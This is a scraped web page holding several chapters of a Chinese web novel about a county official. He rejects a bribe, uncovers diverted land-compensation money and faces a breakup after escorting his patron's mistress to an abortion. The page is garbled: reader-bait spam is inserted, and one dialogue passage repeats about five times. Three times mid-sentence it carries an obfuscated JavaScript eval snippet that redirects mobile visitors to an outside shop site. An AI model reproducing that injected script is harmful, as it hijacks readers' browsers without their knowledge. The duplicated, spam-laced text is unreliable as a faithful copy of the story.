李承并没有打算轻易地放过刘婷,对她进行严厉的批评:“我办公室的资料,泄露出去,后果你担得起吗? 你要是不想干了,就趁早收拾东西滚蛋!” 李承骂她,一方面,是对于刘婷这些行为的厌恶。 在没有领导允许的情况下,随随便便让外人进入办公室,这是严重的不守规矩行为。 另一方面,李承也是指桑骂槐,在给陈红胜难堪! “好啦,李县长,发那么大的火干什么,是我让刘婷带我进来的,她那个小办公室太憋屈了,我坐着不习惯。 这事不怪她,怪我。” 陈红胜出言替刘婷解围,他觉得李承能给他一个面子。 “陈总,你的揽胜坐着舒服,嫌我们这环境不好的话,下次你可以坐在你的揽胜里等我。” 李承虽不能像骂刘婷那样,训斥陈红胜。 但他也没给陈红胜什么面子。 “李县长的话语,还是那么犀利呀,哈哈哈...” 陈红胜笑了笑,他这次过来是示好的,也不在意李承的情绪。 “陈总,有什么事情,直说就行。” 李承坐在自己的办公椅上,点燃了一根香烟。 他甚至没有在沙发上落座,这就是一种态度,一种疏远。 陈红胜没有开口,而是给刘婷使了一个眼色。 “县长,那我先出去了。”刘婷会意,跟李承说了一声,准备退出去。 “不用,你在这就行。” 李承弹了弹烟灰,将刘婷留了下来。 陈红胜是什么人,李承太清楚不过,他不想跟这种人有单独接触,这是为了避险。 听到李承的话,刘婷下意识地看了一眼陈红胜,随后退到了一边。 “我来也没什么事情,就是想着您到我们风林县后,一直为了风林百姓操劳。 我呢,早就想代表全体风林百姓过来拜访您,只是您一直忙,我也忙,也没有合适的时间。” 陈红胜笑呵呵地套着近乎。 他拿起沙发上一个精致的茶叶包装袋,起身走向李承:“李县长,这是我代表全体风林百姓的一点心意,还望您能笑纳啊。” 这盒茶叶,李承在进门时就看到了。 “你能代表全体风林百姓?” 都说伸手不打笑脸人,可对于陈红胜主动放低姿态,热脸相迎,李承却没给他面子。 “我当然可以呀,我也是咱们风林县的人大代表。”陈红胜笑呵呵地说。 “那你替我谢谢人民,但你的好意我就不收了,不拿群众一针一线,是党的基本原则。” 李承摆了摆手,拒绝道。 陈红胜的东西,可没那么好收。 别说李承为人正直,从来不收礼。 就算李承是一个贪官,他也不敢收陈红胜的东西。 “李县长,我知道您在担心什么。” 陈红胜说着,将茶叶盒拿了出来,当着李承和刘婷的面打开:“您看,里面只有茶叶,没有其他东西,我知道您为人正直,不会那么不懂事。” 茶叶只是陈红胜的一个试探。 如果李承收下这盒茶叶,他才能循序渐进地送钱。 如果李承连茶叶都不肯收,那么,也就没有了送钱的必要。 他这是一点一点的试探李承的底线。 很多干部,也就是在这种逐步试探下,心理防线被突破。 “我说了,不收就是不收,你哥爱喝茶,你给他送去吧。”李承严肃地拒绝道。 语气不容置疑,没有给陈红胜半点的机会。 “呵呵呵...” 闻言,陈红胜用笑容掩饰自己的不悦,继续试探道:“李县长,我知道您的意思,您没有在齐秘书在时,提出换掉旗胜,就是在给我机会。 我个人也很感谢您,晚上,可否赏个脸一起吃饭?” 他仍然抱有一线希望地认为,李承是想要钱。 他送茶叶,是李承对东西的不满意,而非不想受贿。 在他的印象里,没有人会跟钱过意不去,只是有人胆子大,有人胆子小,需要送礼的方式方法不同罢了。 “陈总,那是你自以为是,是你想多了。” 李承没想到陈红胜会这样认为。 但对于陈红胜主动递来缓和关系的台阶,李承也不想下。 没那个必要了! 至于说,李承为何不在周一提出换掉旗胜,他想到过,但当时,他也有他自己的考虑。 第一,李承承认自己存在误判。 当时他并没有想着跟陈红旗彻底翻脸,还想着通过宴请,缓和关系,在保留旗胜的同时,给自己赢取到管委会的话语权。 他认为,他已经展示出来了政治背景,陈红旗会愿意与他缓和。 可没想到,陈红旗却放了他的鸽子。 第二,旗胜是陈红旗的捞钱工具,旗胜的水很深,就算当时的常委会上提出来,陈红旗也会力保,未必能换掉。 反而呢,给齐秘书留下来一些不好的印象。 毕竟,齐秘书是来给李承撑场子的,李承也不能太过分地拿他当枪使。 总而言之,这里面有李承的失策。 他刚从省长秘书的岗位下来,在那种众人尊敬,众人顺从的岗位上呆久了,他有些自傲了。 陈红旗给他上了一课,他也改变了想法,才决定翻脸。 “李县长,您的意思我明白了。”陈红胜笑容收敛,李承把话说到这个份上了,他也不想再热脸贴冷屁股了。 “嗯,没什么其他事情,你可以离开了。” 第321章 误解与耐心 周六。 李承坐拼座车去了滨西火车站。 在火车站等了二十多分钟,许梦的身影出现在他的视线内。 “许梦,这里!” 李承冲她挥了挥手,脸上洋溢起笑容。 他饱受着风林县发展和斗争的压力,唯一能让李承开心,让他忘记当下烦恼的人,就是许梦。 “老公!” 许梦小跑到李承身边,扑进他的怀里:“老公,我好想你了!” “我也想你。” 李承将她紧紧抱在怀里,嗅着她秀发上的味道。 这种熟悉的味道,让他格外心安。 “饿了吧?”李承问。 “嗯,有一点。”许梦点头。 “走吧,我带你去吃饭,今天晚上我们在市里住。”李承说。 宿舍虽然打扫得整洁,但装修很老,给人的感觉较为压抑。 两个人许久未见,干柴烈火,当然要找一个舒适的环境,去释放心中的想念,和身体里的狂躁。 “好,都听你的安排。” 李承对于滨西市不熟悉,但也提前做足了功课。 在车上,他询问了司机有哪些本地特色菜馆,司机也给了李承推荐。 滨西市的酸菜鱼火锅很出名,很符合许梦川妹子的口味。 两个人点了一个鱼锅,几个小菜,吃了起来。 “再次回到《东江问政》,感觉怎么样?”李承笑着问。 “感觉非常好,离开《东江问政》这些天,我自媒体账号的粉丝涨得可慢了。 回来之后,粉丝数量飙升,我现在也是四十万粉丝的网红了。” 许梦拿出自己的自媒体账号,炫耀式地给李承看。 “宝宝真厉害,看来以后我得指望你养活我了。”李承玩笑着说。 “没问题,互联网真的很赚钱,悄悄告诉你,我周三接了一条广告,赚了三万块呢。”许梦说。 “我又不是没关注你,不用悄悄告诉我,我会看的,哈哈哈。” 许梦的每一条视频,李承都会看。 她接广告,李承自然也能看得到。 只是,她接广告之前,没有告诉李承,李承心里有一点不舒服。 以前,这种事情许梦都会先问问李承的意见,可不知道什么时候开始,许梦有了改变。 许梦没说,李承当时也没问。 “我忘记你能看到了,嘿嘿嘿...” 许梦尴尬地笑了笑,问:“那你怎么没问问我?” “你没跟我说,我就不问了呗。”李承故作轻松地道。 “你现在一点都不关心我的事情了,你变了,哼。”许梦撅起小嘴,轻哼一声。 这让李承有一种被倒打一耙的感觉。 “我心思你不想告诉我呢,怕我干涉。”李承说出自己心中的真实想法。 “不想告诉你,刚才就不跟你说了,你就是不关心我。” 在许梦的感觉里,李承也有了改变。 以前无微不至的关心,可到现在,对于她的事情却不管不问。 两个人分开这么多天,强烈的想念,让许梦也有一种委屈的情绪。 尤其是在刘婷那些暧昧短信后,李承的不主动询问,在她看来就是不关心,甚至是变心。 “我没有,我关心你呀,就是怕你嫌我管得太多了,以前我不是一直不让你过早收益吗?”李承解释道。 他觉得,是许梦嫌他总多管闲事。 “好啦,今天挺开心的,我不想因为这件事跟你吵架。”许梦低下头,看着盘子里的菜,说。 “我也没想跟你吵架呀?” 李承深吸一口气,他不明白许梦在生什么气,更不明白这点小事,有什么值得吵架的。 “嗯。” 许梦点了点头,不再多说。 一句‘嗯’的回应,让李承觉得被冷漠了,他眉头不自觉地皱起。 但也没有继续说些什么,夹菜吃饭。 只是原本的好心情,都仿佛烟消云散了。 感情就是这样。 每个人都有自己的想法,站在哪一方的角度想问题,都没有错。 可就是会莫名其妙因为想法的不同而吵架,因为一点点误会闹别扭。 “这个鱼好吃吗?” 沉默了几分钟后,李承给许梦夹了一块她最爱吃的鱼腩,主动缓和关系。 “挺好吃的。”许梦点头,情绪依旧不高。 “我没有不关心你,你的视频,我每天都会看几遍,我很多次想问你接广告的事情,只是怕你觉得我管太多了。 我不在你身边,担心你因为这些有情绪,我又不能哄你。 其实,我一直在等你主动跟我讲,你不知道,你刚才主动跟我说起这件事时,我心里有多开心。” 李承认真地讲述自己的想法。 他不想吵架,他想缓和关系,那就需要耐心地解释自己的想法。 “嗯。” 许梦微微点头,她挤出一抹笑,说:“其实,我没有想瞒你。” 说着,许梦打开了自己的包,从里面拿出一个精致的品牌礼盒:“我是想给你一个惊喜,这是我第一次通过短视频赚到钱,这么有意义的第一桶金,我想跟我最爱的人分享。” 许梦将礼盒递给李承,这是一条爱马仕的腰带。 “你的腰带都那么旧了,也不舍得换,以后你就用这条腰带,我送你的,代表着我要把你牢牢捆在我身边哦。” “谢谢宝宝,你真好。”李承发自内心地说。 很多情侣,夫妻之间的矛盾,只是想法上的误解。 需要一方主动放下姿态,去耐心地讲,去哄。 爱没有对错,要多一些包容。 很多爱人分道扬镳,不是不爱,也没有原则问题,其实就是在赌气,缺少了一份耐心,不愿主动低头,到最后留下遗憾.... “这个腰带,会不会高调呀?没关系吧?”许梦不免担忧地问。 走仕途的人,都很低调,不会带奢侈品,这是许梦的担心。 “不高调,我老婆给我买的,钱也是干干净净的,怕什么。”李承无所谓地笑道。 那些刻意追求低调的官员,部分是心里有鬼,想装出一副廉洁的样子。 李承没必要装廉洁,他本身就很廉洁。 一条奢侈品的腰带,代表不了什么,心里没鬼,经得起查,又有什么不能高调的呢? 第322章 安置补偿 回到酒店。 干柴烈火的两人,缠绵在一起,享受着彼此的温度与热情。 结束后,许梦躺在李承的怀里,试探地问:“老公,你怎么今天不领我回县里,是不是金屋藏娇了?” 她仍然对刘婷不放心。 “县里的环境不好,住着不舒服,而且,我明天要去一趟容城。” 李承耐心的解释,他知道,许梦在担心什么,继续说:“你是担心我那个联络员吧? 她是陈红旗的眼线,我防着她还来不及呢,最近我就准备换掉她!” 刘婷与陈红胜的办公室暧昧,以及她在未经过李承允许的情况下,私自带人进入办公室,已经严重触犯了李承的底线。 下周,李承就要将刘婷踢出联络员一职。 “嗯,换掉她,看她就图谋不轨。” 许梦轻哼一声,想起刘婷给李承发的暧昧信息,她就气不打一处来:“对了老公,你去容城做什么?” “有一个朋友,托我办点事情。”李承说。 孟良德和娇娇的关系,李承无法跟任何人去描述。 即便是在许梦面前,他也不能提及孟良德。 “什么事?”许梦好奇地问。 “不知道呢,得去了才知道。”李承如实说。 具体娇娇遇到了什么麻烦,孟良德在电话那边,也没有告诉给李承。 但李承推测,应该不是工作上的麻烦。 若是工作遇到问题,根本不值得李承去跑一趟,给石山水打一个电话就能解决。 毕竟,石山水在让娇娇入职时,就是做好了每年拿十几万块钱养着娇娇的准备。 “好吧。” 许梦答应一声:“那我可以跟你一起去吗?” “可以。” 两个人每周能在一起的时间有限,许梦坐车来找自己,李承也不好把许梦一个人丢下。 ‘我的爱如潮水,爱如潮水将我向你推.’ 两个人拥抱聊天时,李承的手机响了起来。 许梦拿起手机,看了一眼来电显示后,将手机递给李承:“是你们那个美女县长。” “她的醋,你不会也吃吧?” 李承调侃了一句,接起电话,按下免提:“喂,林县长。” “李县长,你在忙吗?”**问。 “不忙。” “有一件事情,我要提前给你打个预防针,陈红旗正在给你找麻烦。”**语气严肃的说。 “什么情况?” 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 李承问。 “刚才刘家村的驻村**给我打电话,说陈红胜正在煽动村民,对征地修路提出**。” **说。 驻村**是前年的应届大学生,曾经给**当过联络员。 所以,在了解到情况后,他第一时间汇报给了**。 “征地修路不是早就结束了吗?村民代表不也都签了字吗?”李承眉头微微皱起,问。 刘家村的征地,跟产业园区内部建设无关。 征的地,是从产业园区通向苏原省界的那条国道。 产业园区的发展对道路要求严格,原本的国道,是单车道,遇到货运汽车时,对向错车都是难题。 为了园区发展,道路必须要施行扩建。 从原本的单向单车道,扩建成单向三车道,双向六车道。 扩建就需要征地。 刘家村的部分农田,都在征地的范畴内。 可是,在征地问题上,县政府早就跟各个村里达成一致,也签署了协议。 就算有异议,白字黑字签了,也没有效果。 “签的是土地现状调查确实表,在权属,地类,面积等问题上,他们签字确定了。 但并没有签署安置补偿协议。”**解释道。 这些都是她当时一手办理的,情况她很清楚。 “那怎么没签安置补偿呢?”李承问。 没有签署安置补偿协议,村民们的反悔,就在法律的允许范围内。 正常来讲,土地现状调查确认表已经签署了,不该不签安置补偿协议。 “因为省政府的资金是分批拨款的,县政府挪用了一部分补偿款,进行了填补三保。 这才导致安置补偿协议没有第一时间进行签署,后续,也是一拖再拖,进来的款项,都被陈红旗以各种名义挪用,和打到了旗胜的账户。” **解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283520|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释道。 对此,她也很无奈。 县政府管‘钱袋子’,到账的款项,如何支配,都是陈红旗一人说的算。 “我知道了。”李承答应一声。 所谓的三保,是政府非常核心的财政理念。 保基本民生,保工资,保运转。 很多地区都存在挪用上级拨款,进行填补‘三保’的现状。 民生,工资,运转,是政府维持的基本,风林县是贫困县,负债县,这种情况下挪用,无可厚非。 陈红旗用这笔钱,算不上什么过错。 但眼下,因为这笔款项 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 的挪用,起到的连锁反应,却将麻烦引到了李承头上。 李承现在是管委会的负责人。 修路是他主抓的项目工程,原本谈好的协议,在他任职期间出了问题,责任人是他。 挂断电话,李承点燃一根香烟,倚靠在床头,思索了起来。 “老公,这边工作很不顺利吗?” 许梦躺在李承身边,胳膊搭在李承的腹部,低声问。 “嗯,麻烦事比较多,很多人只在乎自己的利益,根本不管百姓的死活。” 李承吸了一口烟,说。 “你不是说,县委**跟你站在同一边吗?有一把手给你当后盾,也不行吗?”许梦眨着大眼睛,问。 之前李承为了不让许梦担忧,说县委**王革跟他站在同一战线,很支持他的工作。 这也是事实。 只不过,王革在风林县,没有什么话语权。 “王**被架空了,他在县委**中拿不到票权,任何决策都要看陈红旗的眼色。” 李承叹了一口气,如实说。 “一把手还能被架空?”许梦诧异,她对仕途**不了解。 “当然了。” “不是说,县委**有一票否决权吗?他不满意的决策,一票否决就行了呗。” 许梦眨着天真的大眼睛,说。 “谁给你说,县委**有一票否决权的?你当这是联合国五常呀?”李承莞尔一笑,道。 “网上说的。” 第323章 去容城 “网上说,县委**有一票否决权和一票表决权,权力非常大呢。许梦说。 “没有一票否决权一说,如果县委**能一票否决,那还要**会干什么,县委**直接就可以一言堂了。 李承很有耐心地跟许梦解释误区:“不过,一票表决权,县委**是有的。 “有一票表决权也行呀,你的提议,他一票表决了,就可以了呗,怎么会被县长给架空呢? 许梦仍然不解。 “你理解的一票表决权还是有误区的,每个县委**都有一票表决权,这个一票,是一张投票的意思,而非他的一张票,就能决定决策。 李承伸手摸了摸许梦的头,他觉得许梦很天真。 “原来是这么回事,网上那些博主真是能胡说八道,这不就是散布谣言吗? 许梦嘟着小嘴,说。 “嗯,是谣言。 “那你准备怎么解决村民的**呀?许梦问。 “还没想好。 李承掐灭手中的香烟:“今天不想再想这些事情了,我们睡觉吧。 “好。 次日。 李承和许梦坐着高铁,来到了容城。 出高铁站后,李承给娇娇打了一个电话过去。 ‘嘟嘟..嘟.’ 电话响了二十几秒后,娇娇才接听。 “喂,李秘书。 电话中,娇娇的声音很虚弱,情绪也十分低落。 “我到容城了,你在哪里?李承问。 “在宿舍呢,今天休息。娇娇说。 “好,那我现在过去,你也收拾一下等我电话吧。李承应了一声,挂断了电话。 “我们要去哪?许梦问。 “我要去一趟恺奥医疗. 李承略作沉吟,说:“那个,你在容城转一转,固安区有一个古城建筑,你去溜达溜达呗。 娇娇跟孟良德的关系含糊不清,李承不能带许梦去见娇娇。 万一这个消息传到了孟良德的耳朵里,孟良德一定会对李承有意见。 “我不方便去呗?许梦轻哼一声。 “嗯。 李承认真地点了点头。 “哦,早知道你这么忙,这周都不来找你了。 许梦埋怨了一句,摆了摆手:“行,你忙去吧。 “我很快的。李承说。 “没关系,忙吧。 许梦说完,招手拦了一 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 辆出租车离开了车站。 李承很无奈但事关领导他也没办法解释。 拦了一辆出租车李承说:“师傅去恺奥医疗。” 二十分钟后汽车抵达恺奥医疗的大门口。 李承下了车走进保安亭。 “领导是您来了。” 李承本想着给娇娇打一个电话让她跟保安打一声招呼。 但今天执勤的保安上一次见过李承对李承有印象知道李承是政府的领导。 “嗯。”李承点头。 “今天我们石总不在。”保安说。 “我不找石总去见其他人需要登记吗?”李承问。 “留个姓名电话就行。” 保安拿出登记本这是他的本职工作他要做好。 李承做好登记进入恺奥医疗内部。 他给娇娇打了一个电话按照娇娇给的地址来到了员工宿舍敲响了房门:‘咚咚咚’ “李秘书你来了。” 娇娇打开房门她的眼睛里带着泪痕眼珠红红的刚哭过。 “嗯怎么哭了?在这里工作不顺心?”李承走进娇娇的房间。 这是一个一居室的小公寓装修时尚。 李承觉得这里的住宿环境比他在风林县的条件都好。 至少房间看着很舒适有一种阳光明媚的感觉。 而李承那个宿舍进门就觉得阴沉沉的。 “在这里工作还可以领导们都很照顾我。” 娇娇给李承倒了一杯水说:“石总每周都会过来慰问我的情况。” “谢谢。” 李承接过这杯水他喝了一口目光被茶几上的一个粉白相间的长条东西吸引。 这应该是娇娇故意摆放在这里给李承看的。 她一个小姑娘不好意思说出口。 “你遇到的麻烦是这个?”李承看着茶几上的东西 “嗯不然的话我也不会去打扰老板。”娇娇低着头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283521|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抹了一把眼泪说。 这是一个验孕棒上面的区域是两条红杠。 这代表着什么李承很清楚。 “你不是吃过药吗?”李承严肃地说。 上次李承在娇娇的垃圾桶内看到过药盒上面写的:屈螺酮炔雌醇片。 既然娇娇吃过药了怎么还会 李承难免多想。 难不成娇娇在这边又交往了男朋友? 不对 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 。 娇娇在这边工作不过半月,如果是在这边有的,现在查不出来。 问题还是出现在汉江,她任职保姆的期间。 “老板夫人来的那几天,我.我没有吃,我不知道这个东西停断之后,就没有效果了。” 娇娇哭哭啼啼地说。 短效和紧急是有区别的。 短效对身体基本没有伤害,效果显著,但是不能中断。 娇娇服用的那种,就是短效的。 “哦,我知道了。” 李承抽出一张纸巾,递给了娇娇。 “别哭了,等下我带你去医院。”李承说。 “没关系,我在网上买了药,自己就可以。”娇娇接过纸巾,擦了擦眼泪。 “别逞强,老板安排我过来,就是不放心你的身体。”李承温和地说。 孟良德叫李承过来,目的是什么,李承清楚得很。 不是关心,而是监督。 孟良德不可能留下这种隐患,万一出现了意外,后果不堪设想。 而李承也要确保娇娇进入手术室,将这个隐患彻底脱离她的身体。 “好吧,可是这还是我第一个孩子,我.”娇娇哭的越发大声,委屈的像一个孩子。 李承点燃一根香烟,沉默着,没有安慰。 他等待娇娇自己调整好情绪。 这种事情,李承也没办法安慰,何况,他的任务只是监督。 领会了李承的意思,照做就行。 半晌后,娇娇哭累了,她抹干眼泪,勉强挤出一个笑容:“李秘书,我们走吧。” “嗯。” 李承站起身,带着娇娇离开了恺奥医疗。 第324章 难言的误会 容城市妇产医院。 李承给娇娇挂了号,陪着她做完一系列的检查。 坐在走廊的长椅上,在等待检测报告的期间,许梦突然出现在了李承面前。 “你怎么来了?” 李承看着眼圈泛红的许梦,知道,她肯定误会了。 “李承,我们分手吧。” 许梦没有回答李承的问题,不吵,不闹,只是冷冰冰地丢下了这句话,便转身离开。 在她的眼睛里,透露着对李承浓浓的失望之色。 自从刘婷的暧昧信息事件发生后,许梦对李承的信任就少了很多,两个人又是异地。 猜疑的种子种下了,李承今天又反常的不让许梦跟随,还不做任何解释,甚至连个人名都不愿意透露,这让许梦更加怀疑。 她从出了火车站,就一直坐在出租车里,跟随着李承,一直找到了这里。 “许梦。” 李承起身追上许梦的步伐,伸手拽住她的胳膊:“不是你想的那样。” “我都亲眼看到了,你还有什么狡辩的吗?你敢说她跟你没关系吗?”许梦的泪水顺着脸颊流淌而下。 “她跟我真没关系,只是.” 对此,李承不知道该如何解释。 事关孟良德,哪怕是面对许梦,李承也不能透露半个字。 可问题不说清楚,这个误会就没办法解开 “你相信我,这件事不是你想的那样,我没有做过任何对不起你的事情,从来没有!” 李承焦急辩解着。 “这么多人呢,别丢人现眼了,注意你的身份,好自为之吧!”许梦绝望地丢下这句话,甩开李承的手,下了楼。 李承站在原地,他想去追。 可追上了又能怎么样? 误会不解释清楚,就根本没办法取得许梦的信任。 可这个误会,又没办法解释 李承觉得,这是一个死题! 他叹了一口气,最终没有去追,而是回到了娇娇身边。 “要不我去帮你解释?别因为一个误会,错过了最好的人。”娇娇看着愁眉苦脸的李承,提议道。 “没关系。” 李承摆了摆手,说:“你的事情,除了我们三个人之外,不能让第四个人知道,明白吗? 就算有误会,也不可以!” 李承的态度很严肃。 他既是警告娇娇要守口如瓶,也是在向娇娇传递一个信息,告诉娇娇,他对领导的绝对忠诚。 哪怕是蒙受误会,也在所不辞。 因为他担心,娇娇会跟孟良德提到许梦来的事情,孟良德会因此有芥蒂。 所以,他才要重点强调。 “我知道,那她呢?”娇娇问。 “她再说吧。”李承无奈地道。 他也不知道该怎么处理这件事。 “唉你们这些当官的,眼里只有自己的位置。” 娇娇知道李承是怎么想的,她话语中带着些许的讥讽,低声说了四个字:“冷血机器!” 这四个字,不止是对李承的评价,也暗指孟良德。 李城没有回答。 他始终陪伴着娇娇,直到娇娇从手术室里出来,在跟医生确认清除手术很干净后,这才将虚弱的娇娇送回宿舍。 “你这几天就好好休息,不要上班了,我会跟石总打招呼。”李承说。 这种时候,女人是最脆弱的。 虽说,娇娇跟李承没什么关系,李承对她也没有任何感情,但出于朋友关照,李承也要将她安顿好。 “你快去哄她吧,我没关系。”娇娇蜷缩在被窝里,脸色惨白。 “嗯,好。” 李承点了点头,他心里一直放心不下许梦。 出了恺奥医疗,李承给许梦打电话。 但任何能联系到许梦的方式,全部被拉黑了。 李承只好订了最近一趟回汉江的高铁票,返回汉江。 他推测,许梦一定会回汉江收拾行李。 路上,李承给石山水打去了一个电话,让对方给许梦休假几天。 对于李承的开口,石山水很给面子,一口答应。 紧接着,他又给孟良德打了电话,告诉对方事情已经办妥了。 回到汉江的家。 李承打开房门,果不其然,许梦就在家里。 她的行李铺了满地,人正窝在沙发上哭泣。 李承走到她的旁边,想要将她抱在怀里,却被许梦一把推开。 “许梦,事情不是你想象的那样” “我不想听了,我们结束了。” 李承的话还没有说完,便被许梦打断。 她的态度很冷。 这是伤心到极点的绝望! 其实,在她离开医院时,她很希望李承能追上来,去哄她,去耐心地跟她解释,哪怕编造一个谎言骗一骗她也可以。 可李承没有追来。 而是留在了医院,陪伴着那个不知名的漂亮女人。 “你冷静地听我解释一下,好吗?” 李承心平气和地点燃一根香烟,说:“能做手术,要四十天左右,那段时间我还在汉江任职呢。 你想一想,我们在一起时间里,我有过任何异常吗?我去了哪里,见了哪些人,都会跟你报备。 我们如胶似漆,那么相爱,我怎么会背着你乱搞呢?对不对? 而且,你再想一想,如果这个女人跟我有关系,我怎么会在你来滨西找过我期间,过来带她做这种手术呢? 我可以有大把的时间,大把的借口,找机会来做,对不对? 事情不是你想象的那样,希望你能相信我。” 李承不能直接解释原因,但他可以通过这些已知的事实,进行作证。 让许梦自己去想。 至于能不能想得明白,李承也没办法再深说。 再说下去,就会牵扯到不该牵扯的人。 听到李承的解释,许梦陷入沉默。 十几分钟后,她说:“那你告诉我,这个女人是谁,跟谁有关系?” “一个朋友。”李承说。 “到现在,你还不愿意跟我讲实话,是吗?”许梦眼泪汪汪地道。 “你自己想一想吧,我不勉强你相信我,可我说的都是真话。”李承再次点燃一根香烟。 如果许梦不相信,李承也没有办法。 该说的,他已经说了。 甚至还说了一些,不应该说的话。 他现在唯一后悔的错误决定,就是今天带许梦来容城。 因为这个决定,可能导致两头得罪! “你冷静地听我解释一下,好吗?” 李承心平气和地点燃一根香烟,说:“能做手术,要四十天左右,那段时间我还在汉江任职呢。 你想一想,我们在一起时间里,我有过任何异常吗?我去了哪里,见了哪些人,都会跟你报备。 我们如胶似漆,那么相爱,我怎么会背着你乱搞呢?对不对? 而且,你再想一想,如果这个女人跟我有关系,我怎么会在你来滨西找过我期间,过来带她做这种手术呢? 我可以有大把的时间,大把的借口,找机会来做,对不对? 事情不是你想象的那样,希望你能相信我。” 李承不能直接解释原因,但他可以通过这些已知的事实,进行作证。 让许梦自己去想。 至于能不能想得明白,李承也没办法再深说。 再说下去,就会牵扯到不该牵扯的人。 听到李承的解释,许梦陷入沉默。 十几分钟后,她说:“那你告诉我,这个女人是谁,跟谁有关系?” “一个朋友。”李承说。 “到现在,你还不愿意跟我讲实话,是吗?”许梦眼泪汪汪地道。 “你自己想一想吧,我不勉强你相信我,可我说的都是真话。”李承再次点燃一根香烟。 如果许梦不相信,李承也没有办法。 该说的,他已经说了。 甚至还说了一些,不应该说的话。 他现在唯一后悔的错误决定,就是今天带许梦来容城。 因为这个决定,可能导致两头得罪! “你冷静地听我解释一下,好吗?” 李承心平气和地点燃一根香烟,说:“能做手术,要四十天左右,那段时间我还在汉江任职呢。 你想一想,我们在一起时间里,我有过任何异常吗?我去了哪里,见了哪些人,都会跟你报备。 我们如胶似漆,那么相爱,我怎么会背着你乱搞呢?对不对? 而且,你再想一想,如果这个女人跟我有关系,我怎么会在你来滨西找过我期间,过来带她做这种手术呢? 我可以有大把的时间,大把的借口,找机会来做,对不对? 事情不是你想象的那样,希望你能相信我。” 李承不能直接解释原因,但他可以通过这些已知的事实,进行作证。 让许梦自己去想。 至于能不能想得明白,李承也没办法再深说。 再说下去,就会牵扯到不该牵扯的人。 听到李承的解释,许梦陷入沉默。 十几分钟后,她说:“那你告诉我,这个女人是谁,跟谁有关系?” “一个朋友。”李承说。 “到现在,你还不愿意跟我讲实话,是吗?”许梦眼泪汪汪地道。 “你自己想一想吧,我不勉强你相信我,可我说的都是真话。”李承再次点燃一根香烟。 如果许梦不相信,李承也没有办法。 该说的,他已经说了。 甚至还说了一些,不应该说的话。 他现在唯一后悔的错误决定,就是今天带许梦来容城。 因为这个决定,可能导致两头得罪! “你冷静地听我解释一下,好吗?” 李承心平气和地点燃一根香烟,说:“能做手术,要四十天左右,那段时间我还在汉江任职呢。 你想一想,我们在一起时间里,我有过任何异常吗?我去了哪里,见了哪些人,都会跟你报备。 我们如胶似漆,那么相爱,我怎么会背着你乱搞呢?对不对? 而且,你再想一想,如果这个女人跟我有关系,我怎么会在你来滨西找过我期间,过来带她做这种手术呢? 我可以有大把的时间,大把的借口,找机会来做,对不对? 事情不是你想象的那样,希望你能相信我。” 李承不能直接解释原因,但他可以通过这些已知的事实,进行作证。 让许梦自己去想。 至于能不能想得明白,李承也没办法再深说。 再说下去,就会牵扯到不该牵扯的人。 听到李承的解释,许梦陷入沉默。 十几分钟后,她说:“那你告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283522|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉我,这个女人是谁,跟谁有关系?” “一个朋友。”李承说。 “到现在,你还不愿意跟我讲实话,是吗?”许梦眼泪汪汪地道。 “你自己想一想吧,我不勉强你相信我,可我说的都是真话。”李承再次点燃一根香烟。 如果许梦不相信,李承也没有办法。 该说的,他已经说了。 甚至还说了一些,不应该说的话。 他现在唯一后悔的错误决定,就是今天带许梦来容城。 因为这个决定,可能导致两头得罪! “你冷静地听我解释一下,好吗?” 李承心平气和地点燃一根香烟,说:“能做手术,要四十天左右,那段时间我还在汉江任职呢。 你想一想,我们在一起时间里,我有过任何异常吗?我去了哪里,见了哪些人,都会跟你报备。 我们如胶似漆,那么相爱,我怎么会背着你乱搞呢?对不对? 而且,你再想一想,如果这个女人跟我有关系,我怎么会在你来滨西找过我期间,过来带她做这种手术呢? 我可以有大把的时间,大把的借口,找机会来做,对不对? 事情不是你想象的那样,希望你能相信我。” 李承不能直接解释原因,但他可以通过这些已知的事实,进行作证。 让许梦自己去想。 至于能不能想得明白,李承也没办法再深说。 再说下去,就会牵扯到不该牵扯的人。 听到李承的解释,许梦陷入沉默。 十几分钟后,她说:“那你告诉我,这个女人是谁,跟谁有关系?” “一个朋友。”李承说。 “到现在,你还不愿意跟我讲实话,是吗?”许梦眼泪汪汪地道。 “你自己想一想吧,我不勉强你相信我,可我说的都是真话。”李承再次点燃一根香烟。 如果许梦不相信,李承也没有办法。 该说的,他已经说了。 甚至还说了一些,不应该说的话。 